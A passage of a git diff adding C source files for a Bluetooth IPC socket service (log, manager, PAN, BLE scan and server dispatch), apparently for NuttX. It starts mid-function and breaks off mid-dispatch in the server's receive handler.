bt_socket_client_l2cap_callback(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_L2CAP_CONNECTED_CB: { + l2cap_connect_params_t conn_parm = { + .transport = packet->l2cap_cb._connected_cb.transport, + .cid = packet->l2cap_cb._connected_cb.cid, + .psm = packet->l2cap_cb._connected_cb.psm, + .incoming_mtu = packet->l2cap_cb._connected_cb.incoming_mtu, + .outgoing_mtu = packet->l2cap_cb._connected_cb.outgoing_mtu, + .id = packet->l2cap_cb._connected_cb.id, + .listen_id = packet->l2cap_cb._connected_cb.listen_id, + }; + strlcpy(conn_parm.proxy_name, packet->l2cap_cb._connected_cb.proxy_name, sizeof(conn_parm.proxy_name)); + memcpy(&conn_parm.addr, &packet->l2cap_cb._connected_cb.addr, sizeof(conn_parm.addr)); + CALLBACK_FOREACH(CBLIST, l2cap_callbacks_t, + on_connected, + &conn_parm); + break; + } + case BT_L2CAP_DISCONNECTED_CB: + CALLBACK_FOREACH(CBLIST, l2cap_callbacks_t, + on_disconnected, + &packet->l2cap_cb._disconnected_cb.addr, + packet->l2cap_cb._disconnected_cb.id, + packet->l2cap_cb._disconnected_cb.reason); + break; + default: + return BT_STATUS_PARM_INVALID; + } + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_log.c b/service/ipc/socket/src/bt_socket_log.c new file mode 100644 index 0000000000000000000000000000000000000000..ce052720a501e2b06d3c09cf0cd1aab1c7181dc7 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_log.c @@ -0,0 +1,87 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "bt_trace.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_log_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_LOG_ENABLE: { + BTSYMBOLS(bluetooth_enable_btsnoop_log) + (ins); + break; + } + case BT_LOG_DISABLE: { + BTSYMBOLS(bluetooth_disable_btsnoop_log) + (ins); + break; + } + case BT_LOG_SET_FILTER: { + BTSYMBOLS(bluetooth_set_btsnoop_filter) + (ins, packet->log_pl._bt_log_set_flag.filter_flag); + break; + } + case BT_LOG_REMOVE_FILTER: { + BTSYMBOLS(bluetooth_remove_btsnoop_filter) + (ins, packet->log_pl._bt_log_remove_flag.filter_flag); + break; + } + default: + break; + } +} + +#endif \ No newline at end of file diff --git a/service/ipc/socket/src/bt_socket_manager.c b/service/ipc/socket/src/bt_socket_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..546ab437f2efaabac6e18584ccc738c6ea04dca9 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_manager.c @@ -0,0 +1,110 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_manager.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +void bt_socket_server_manager_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_MANAGER_CREATE_INSTANCE: { + packet->manager_r.status = manager_create_instance(packet->manager_pl._bluetooth_create_instance.handle, + packet->manager_pl._bluetooth_create_instance.type, + packet->manager_pl._bluetooth_create_instance.cpu_name, + packet->manager_pl._bluetooth_create_instance.pid, 0, + &packet->manager_r.v32); + break; + } + case BT_MANAGER_DELETE_INSTANCE: { + packet->manager_r.status = manager_delete_instance(packet->manager_pl._bluetooth_delete_instance.v32); + break; + } + case BT_MANAGER_GET_INSTANCE: { + packet->manager_r.status = manager_get_instance(packet->manager_pl._bluetooth_get_instance.cpu_name, + packet->manager_pl._bluetooth_get_instance.pid, + &packet->manager_r.v64); + break; + } + case BT_MANAGER_START_SERVICE: { + packet->manager_r.status = manager_start_service(packet->manager_pl._bluetooth_start_service.appid, + packet->manager_pl._bluetooth_start_service.id); + break; + } + case BT_MANAGER_STOP_SERVICE: { + packet->manager_r.status = manager_stop_service(packet->manager_pl._bluetooth_stop_service.appid, + packet->manager_pl._bluetooth_stop_service.id); + break; + } + default: + break; + } +} +#endif +int bt_socket_client_manager_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + switch (packet->code) { + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_pan.c b/service/ipc/socket/src/bt_socket_pan.c new file mode 100644 index 0000000000000000000000000000000000000000..ddc70a3e07aadf48b1099a321a0718d20062f6b9 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_pan.c @@ -0,0 +1,172 @@ +/**************************************************************************** + * frameworks/media/media_daemon.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->panu_callbacks : ins->panu_callbacks) +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +#include "pan_service.h" +#include "service_manager.h" + +static void pan_netif_state_cb(void* cookie, pan_netif_state_t state, + int local_role, const char* ifname) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + packet.pan_cb._netif_state_cb.state = state; + packet.pan_cb._netif_state_cb.local_role = local_role; + if (ifname && strlen(ifname)) + strncpy(packet.pan_cb._netif_state_cb.ifname, ifname, sizeof(packet.pan_cb._netif_state_cb.ifname) - 1); + + bt_socket_server_send(ins, &packet, BT_PAN_NETIF_STATE_CB); +} + +static void pan_connection_state_cb(void* cookie, profile_connection_state_t state, + bt_address_t* bd_addr, uint8_t local_role, + uint8_t remote_role) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + packet.pan_cb._connection_state_cb.state = state; + memcpy(&packet.pan_cb._connection_state_cb.bd_addr, bd_addr, sizeof(*bd_addr)); + packet.pan_cb._connection_state_cb.local_role = local_role; + packet.pan_cb._connection_state_cb.remote_role = remote_role; + + bt_socket_server_send(ins, &packet, BT_PAN_CONNECTION_STATE_CB); +} + +static pan_callbacks_t g_pan_socket_cbs = { + sizeof(g_pan_socket_cbs), + pan_netif_state_cb, + pan_connection_state_cb, +}; +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_pan_process(service_poll_t* poll, int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_PAN_REGISTER_CALLBACKS: { + if (ins->panu_cookie == NULL) { + pan_interface_t* pan = (pan_interface_t*)service_manager_get_profile(PROFILE_PANU); + ins->panu_cookie = pan->register_callbacks(ins, (void*)&g_pan_socket_cbs); + if (ins->panu_cookie) { + packet->pan_r.status = BT_STATUS_SUCCESS; + } + } + break; + } + case BT_PAN_UNREGISTER_CALLBACKS: { + if (ins->panu_cookie) { + pan_interface_t* pan = (pan_interface_t*)service_manager_get_profile(PROFILE_PANU); + pan->unregister_callbacks((void**)&ins, ins->panu_cookie); + ins->panu_cookie = NULL; + } + break; + } + case BT_PAN_CONNECT: { + packet->pan_r.status = BTSYMBOLS(bt_pan_connect)(ins, &packet->pan_pl._bt_pan_connect.addr, + packet->pan_pl._bt_pan_connect.dst_role, + packet->pan_pl._bt_pan_connect.src_role); + break; + } + case BT_PAN_DISCONNECT: { + packet->pan_r.status = BTSYMBOLS(bt_pan_disconnect)(ins, &packet->pan_pl._bt_pan_connect.addr); + break; + } + default: + break; + } +} +#endif + +int bt_socket_client_pan_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_PAN_NETIF_STATE_CB: { + { + CALLBACK_FOREACH(CBLIST, pan_callbacks_t, + netif_state_cb, + packet->pan_cb._netif_state_cb.state, + packet->pan_cb._netif_state_cb.local_role, + packet->pan_cb._netif_state_cb.ifname); + break; + } + break; + } + case BT_PAN_CONNECTION_STATE_CB: { + CALLBACK_FOREACH(CBLIST, pan_callbacks_t, + connection_state_cb, + packet->pan_cb._connection_state_cb.state, + &packet->pan_cb._connection_state_cb.bd_addr, + packet->pan_cb._connection_state_cb.local_role, + packet->pan_cb._connection_state_cb.remote_role); + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_scan.c b/service/ipc/socket/src/bt_socket_scan.c new file mode 100644 index 0000000000000000000000000000000000000000..fbd50a93949ea509503180a3588cdf3d709e803d --- /dev/null +++ b/service/ipc/socket/src/bt_socket_scan.c @@ -0,0 +1,330 @@ +/**************************************************************************** + * frameworks/media/media_daemon.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_le_scan.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "scan_manager.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef struct { + service_timer_t* flush_timer; + bt_scanner_t* scanner; +} bt_scan_flush_ctrl_t; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) && defined(CONFIG_BLUETOOTH_BLE_SCAN) +#include "utils/log.h" + +static void flush_scan_result_cache(bt_scanner_t* scanner) +{ + bt_scan_remote_t* scan = (bt_scan_remote_t*)scanner; + bt_scan_flush_ctrl_t* ctrl = (bt_scan_flush_ctrl_t*)scan->flush_ctrl; + bt_message_batch_scan_result_callbacks_t* cache = &scan->scan_result_cache; + + if (ctrl && ctrl->flush_timer) { + service_loop_cancel_timer(ctrl->flush_timer); + ctrl->flush_timer = NULL; + } + + if (cache->count > 0) { + bt_message_packet_t packet = { 0 }; + memcpy(&packet.scan_batch_cb, cache, sizeof(bt_message_batch_scan_result_callbacks_t)); + bt_socket_server_send(scan->ins, &packet, BT_LE_ON_BATCH_SCAN_RESULT); + cache->count = 0; + } +} + +static void flush_scan_result_timer_cb(service_timer_t* timer, void* arg) +{ + bt_scanner_t* scanner = (bt_scanner_t*)arg; + flush_scan_result_cache(scanner); +} + +static bt_scan_flush_ctrl_t* flush_ctrl_create(bt_scanner_t* scanner) +{ + bt_scan_remote_t* scan = (bt_scan_remote_t*)scanner; + + if (scan->flush_ctrl) + return (bt_scan_flush_ctrl_t*)scan->flush_ctrl; + + bt_scan_flush_ctrl_t* ctrl = zalloc(sizeof(bt_scan_flush_ctrl_t)); + if (!ctrl) { + BT_LOGE("Failed to allocate flush_ctrl"); + return NULL; + } + + ctrl->scanner = scanner; + + scan->flush_ctrl = ctrl; + return ctrl; +} + +static void flush_ctrl_destroy(bt_scanner_t* scanner) +{ + bt_scan_remote_t* scan = (bt_scan_remote_t*)scanner; + bt_scan_flush_ctrl_t* ctrl = (bt_scan_flush_ctrl_t*)scan->flush_ctrl; + + if (!ctrl) + return; + + if (ctrl->flush_timer) { + service_loop_cancel_timer(ctrl->flush_timer); + ctrl->flush_timer = NULL; + } + + free(ctrl); + scan->flush_ctrl = NULL; +} + +static void restart_flush_timer(bt_scanner_t* scanner) +{ + bt_scan_remote_t* scan = (bt_scan_remote_t*)scanner; + bt_scan_flush_ctrl_t* ctrl = (bt_scan_flush_ctrl_t*)scan->flush_ctrl; + + if (!ctrl) + return; + + if (ctrl->flush_timer) { + service_loop_cancel_timer(ctrl->flush_timer); + ctrl->flush_timer = NULL; + } + + ctrl->flush_timer = service_loop_timer(SCAN_FLUSH_INTERVAL_MS, 0, flush_scan_result_timer_cb, scanner); +} + +static void on_scan_result_cb(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + bt_scan_remote_t* scan = scanner; + bt_message_batch_scan_result_callbacks_t* cache = &scan->scan_result_cache; + cache->scanner = scan->remote; + + if (result->length <= MAX_LEGACY_SCAN_RESULTS_LENGTH) { + if (!scan->flush_ctrl) { + scan->flush_ctrl = flush_ctrl_create(scanner); + } + + memcpy(&cache->results[cache->count].result, result, sizeof(*result)); + memcpy(cache->results[cache->count].adv_data, result->adv_data, result->length); + cache->count++; + + } else if (result->length <= MAX_EXT_SCAN_RESULTS_LENGTH) { + bt_message_packet_t packet = { 0 }; + packet.scan_cb._on_scan_result_cb.scanner = scan->remote; + memcpy(&packet.scan_cb._on_scan_result_cb.result, result, sizeof(*result)); + memcpy(packet.scan_cb._on_scan_result_cb.adv_data, result->adv_data, result->length); + bt_socket_server_send(scan->ins, &packet, BT_LE_ON_SCAN_RESULT); + + } else { + BT_LOGW("exceeds scan result maximum length :%d", result->length); + } + + if (cache->count >= MAX_SCAN_RESULTS_PER_PACKET) { + flush_scan_result_cache(scanner); + } else { + restart_flush_timer(scanner); + } +} + +static void on_scan_status_cb(bt_scanner_t* scanner, uint8_t status) +{ + bt_scan_remote_t* scan = scanner; + bt_message_packet_t packet = { 0 }; + + packet.scan_cb._on_scan_status_cb.scanner = scan->remote; + packet.scan_cb._on_scan_status_cb.status = status; + + bt_socket_server_send(scan->ins, &packet, BT_LE_ON_SCAN_START_STATUS); + + if (status != 0) + free(scan); +} + +static void on_scan_stopped_cb(bt_scanner_t* scanner) +{ + bt_scan_remote_t* scan = scanner; + + flush_scan_result_cache(scanner); + flush_ctrl_destroy(scanner); + + bt_message_packet_t packet = { 0 }; + + packet.scan_cb._on_scan_stopped_cb.scanner = scan->remote; + bt_socket_server_send(scan->ins, &packet, BT_LE_ON_SCAN_STOPPED); + free(scanner); +} + +static scanner_callbacks_t g_scanner_socket_cb = { + sizeof(g_scanner_socket_cb), + on_scan_result_cb, + on_scan_status_cb, + on_scan_stopped_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_scan_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_LE_SCAN_START: { + bt_scan_remote_t* scan = zalloc(sizeof(*scan)); + + scan->ins = ins; + scan->remote = packet->scan_pl._bt_le_start_scan.remote; + packet->scan_r.remote = PTR2INT(uint64_t) scanner_start_scan(scan, &g_scanner_socket_cb); + if (!packet->scan_r.remote) + free(scan); + break; + } + case BT_LE_SCAN_START_SETTINGS: { + bt_scan_remote_t* scan = zalloc(sizeof(*scan)); + + scan->ins = ins; + scan->remote = packet->scan_pl._bt_le_start_scan_settings.remote; + packet->scan_r.remote = PTR2INT(uint64_t) scanner_start_scan_settings(scan, + &packet->scan_pl._bt_le_start_scan_settings.settings, &g_scanner_socket_cb); + if (!packet->scan_r.remote) { + free(scan); + } + break; + } + case BT_LE_SCAN_START_WITH_FILTERS: { + bt_scan_remote_t* scan = zalloc(sizeof(*scan)); + + scan->ins = ins; + scan->remote = packet->scan_pl._bt_le_start_scan_with_filters.remote; + packet->scan_r.remote = PTR2INT(uint64_t) scanner_start_scan_with_filters(scan, + &packet->scan_pl._bt_le_start_scan_with_filters.settings, + &packet->scan_pl._bt_le_start_scan_with_filters.filter, + &g_scanner_socket_cb); + if (!packet->scan_r.remote) { + free(scan); + } + break; + } + case BT_LE_SCAN_STOP: { + scanner_stop_scan(INT2PTR(bt_scanner_t*) packet->scan_pl._bt_le_stop_scan.remote); + break; + } + case BT_LE_SCAN_IS_SUPPORT: { + packet->scan_r.vbool = scan_is_supported(); + break; + } + default: + break; + } +} + +#endif + +int bt_socket_client_scan_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + switch (packet->code) { + case BT_LE_ON_SCAN_RESULT: { + bt_scan_remote_t* scan = INT2PTR(bt_scan_remote_t*) packet->scan_cb._on_scan_result_cb.scanner; + ble_scan_result_t* result = &packet->scan_cb._on_scan_result_cb.result; + ble_scan_result_t* tmp = malloc(sizeof(ble_scan_result_t) + result->length); + memcpy(tmp, result, sizeof(ble_scan_result_t)); + memcpy(tmp->adv_data, packet->scan_cb._on_scan_result_cb.adv_data, result->length); + scan->callback->on_scan_result(scan, tmp); + free(tmp); + break; + } + case BT_LE_ON_SCAN_START_STATUS: { + bt_scan_remote_t* scan = INT2PTR(bt_scan_remote_t*) packet->scan_cb._on_scan_status_cb.scanner; + + scan->callback->on_scan_start_status(scan, packet->scan_cb._on_scan_status_cb.status); + if (packet->scan_cb._on_scan_status_cb.status != 0) + free(scan); + break; + } + case BT_LE_ON_SCAN_STOPPED: { + bt_scan_remote_t* scan = INT2PTR(bt_scan_remote_t*) packet->scan_cb._on_scan_stopped_cb.scanner; + + scan->callback->on_scan_stopped(scan); + free(scan); + break; + } + default: { + uint32_t subcode = BT_IPC_GET_SUBCODE(packet->code); + switch (subcode) { + case BLE_SCAN_SUBCODE_BATCH_SCAN_CALLBACK: { + bt_scan_remote_t* scan = INT2PTR(bt_scan_remote_t*) packet->scan_batch_cb.scanner; + + uint8_t tmp_buf[sizeof(ble_scan_result_t) + MAX_LEGACY_SCAN_RESULTS_LENGTH]; + + for (int i = 0; i < packet->scan_batch_cb.count; ++i) { + ble_scan_result_t* result = &packet->scan_batch_cb.results[i].result; + uint8_t len = result->length; + + if (len > MAX_LEGACY_SCAN_RESULTS_LENGTH) + continue; + + ble_scan_result_t* tmp = (ble_scan_result_t*)tmp_buf; + + memcpy(tmp, result, sizeof(ble_scan_result_t)); + memcpy(tmp->adv_data, packet->scan_batch_cb.results[i].adv_data, len); + + scan->callback->on_scan_result(scan, tmp); + } + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + } + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_server.c b/service/ipc/socket/src/bt_socket_server.c new file mode 100644 index 0000000000000000000000000000000000000000..efb0aa934f0841368aa2718ddd8f3ba782551565 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_server.c @@ -0,0 +1,571 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_server.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#define LOG_TAG "bt_socket_server" + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#ifdef CONFIG_NET_RPMSG +#include <netpacket/rpmsg.h> +#endif +#ifndef __NuttX__ +#include <linux/un.h> +#else +#include <sys/un.h> +#endif + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_dfx.h" +#include "bt_internal.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" +#include "service_manager.h" + +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +static bt_list_t* g_instances_list = NULL; +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef struct +{ + struct list_node node; + int offset; + bt_message_packet_t packet; +} bt_packet_cache_t; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static bool ins_compare(void* data, void* context) +{ + return data == context; +} + +static bool bt_socket_server_is_ins_detached(bt_instance_t* ins) +{ + return (bt_list_find(g_instances_list, ins_compare, ins) == NULL); +} + +static int bt_socket_server_send_internal(bt_instance_t* ins, + void* packet, int size, int offset) +{ + int ret; + + ret = send(ins->peer_fd, (char*)packet + offset, size, 0); + if (ret == 0) { + return -1; + } else if (ret < 0) { + if (errno == EINTR || errno == EAGAIN) { + ret = 0; + } else { + return -1; + } + } + + return ret; +} + +static int bt_socket_server_trysend(bt_instance_t* ins) +{ + bt_packet_cache_t* cache; + struct list_node* node; + struct list_node* tmp; + bool reset = false; + int size; + int ret; + + list_for_every_safe(&ins->msg_queue, node, tmp) + { + reset = true; + cache = (bt_packet_cache_t*)node; + size = sizeof(cache->packet) - cache->offset; + ret = bt_socket_server_send_internal(ins, &cache->packet, + size, cache->offset); + if (ret < 0) { + service_loop_remove_poll(ins->poll); + ins->poll = NULL; + list_delete(node); + free(node); + break; + } else if (ret != size) { + cache->offset += ret; + break; + } else { + list_delete(node); + free(node); + } + } + + if (list_length(&ins->msg_queue) > 0) { + if (ins->poll) { + service_loop_reset_poll(ins->poll, POLL_READABLE | POLL_WRITABLE); + } + return -1; + } else if (reset && ins->poll) { + service_loop_reset_poll(ins->poll, POLL_READABLE); + } + + return 0; +} + +static int bt_socket_server_receive(service_poll_t* poll, int fd, void* userdata) +{ + bt_instance_t* ins = userdata; + bt_message_packet_t* packet = (bt_message_packet_t*)ins->packet; + int ret; + + ret = recv(fd, (uint8_t*)packet + ins->offset, sizeof(*packet) - ins->offset, 0); + if (ret == 0) { + BT_LOGE("%s, bt socket disconnected", __func__); + return -1; + } else if (ret < 0) { + if (errno == EINTR || errno == EAGAIN) + return 0; + BT_LOGE("%s, bt socket recv ret: %d error: %d", __func__, ret, errno); + return -1; + } + + ins->offset += ret; + if (ins->offset < sizeof(*packet)) + return 0; + else + ins->offset = 0; + + if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_MANAGER_MESSAGE_START, BT_MANAGER_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_MANAGER_BEGIN, BT_IPC_CODE_COMMAND_MANAGER_END)) { + bt_socket_server_manager_process(poll, fd, ins, packet); + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_ADAPTER_MESSAGE_START, BT_ADAPTER_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_ADAPTER_BEGIN, BT_IPC_CODE_COMMAND_ADAPTER_END)) { + bt_socket_server_adapter_process(poll, fd, ins, packet); + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_DEVICE_MESSAGE_START, BT_DEVICE_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_DEVICE_BEGIN, BT_IPC_CODE_COMMAND_DEVICE_END)) { + bt_socket_server_device_process(poll, fd, ins, packet); +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_A2DP_SOURCE_MESSAGE_START, BT_A2DP_SOURCE_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_A2DP_SRC_BEGIN, BT_IPC_CODE_COMMAND_A2DP_SRC_END)) { + bt_socket_server_a2dp_source_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_A2DP_SINK_MESSAGE_START, BT_A2DP_SINK_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_A2DP_SINK_BEGIN, BT_IPC_CODE_COMMAND_A2DP_SINK_END)) { + bt_socket_server_a2dp_sink_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_AVRCP_TARGET_MESSAGE_START, BT_AVRCP_TARGET_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_AVRCP_TG_BEGIN, BT_IPC_CODE_COMMAND_AVRCP_TG_END)) { + bt_socket_server_avrcp_target_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_AVRCP_CONTROL_MESSAGE_START, BT_AVRCP_CONTROL_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_AVRCP_CT_BEGIN, BT_IPC_CODE_COMMAND_AVRCP_CT_END)) { + bt_socket_server_avrcp_control_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_HFP_AG_MESSAGE_START, BT_HFP_AG_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_HFP_AG_BEGIN, BT_IPC_CODE_COMMAND_HFP_AG_END)) { + bt_socket_server_hfp_ag_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_HFP_HF_MESSAGE_START, BT_HFP_HF_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_HFP_HF_BEGIN, BT_IPC_CODE_COMMAND_HFP_HF_END)) { + bt_socket_server_hfp_hf_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_BLE_ADV + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_ADVERTISER_MESSAGE_START, BT_ADVERTISER_MESSAGE_END) + || 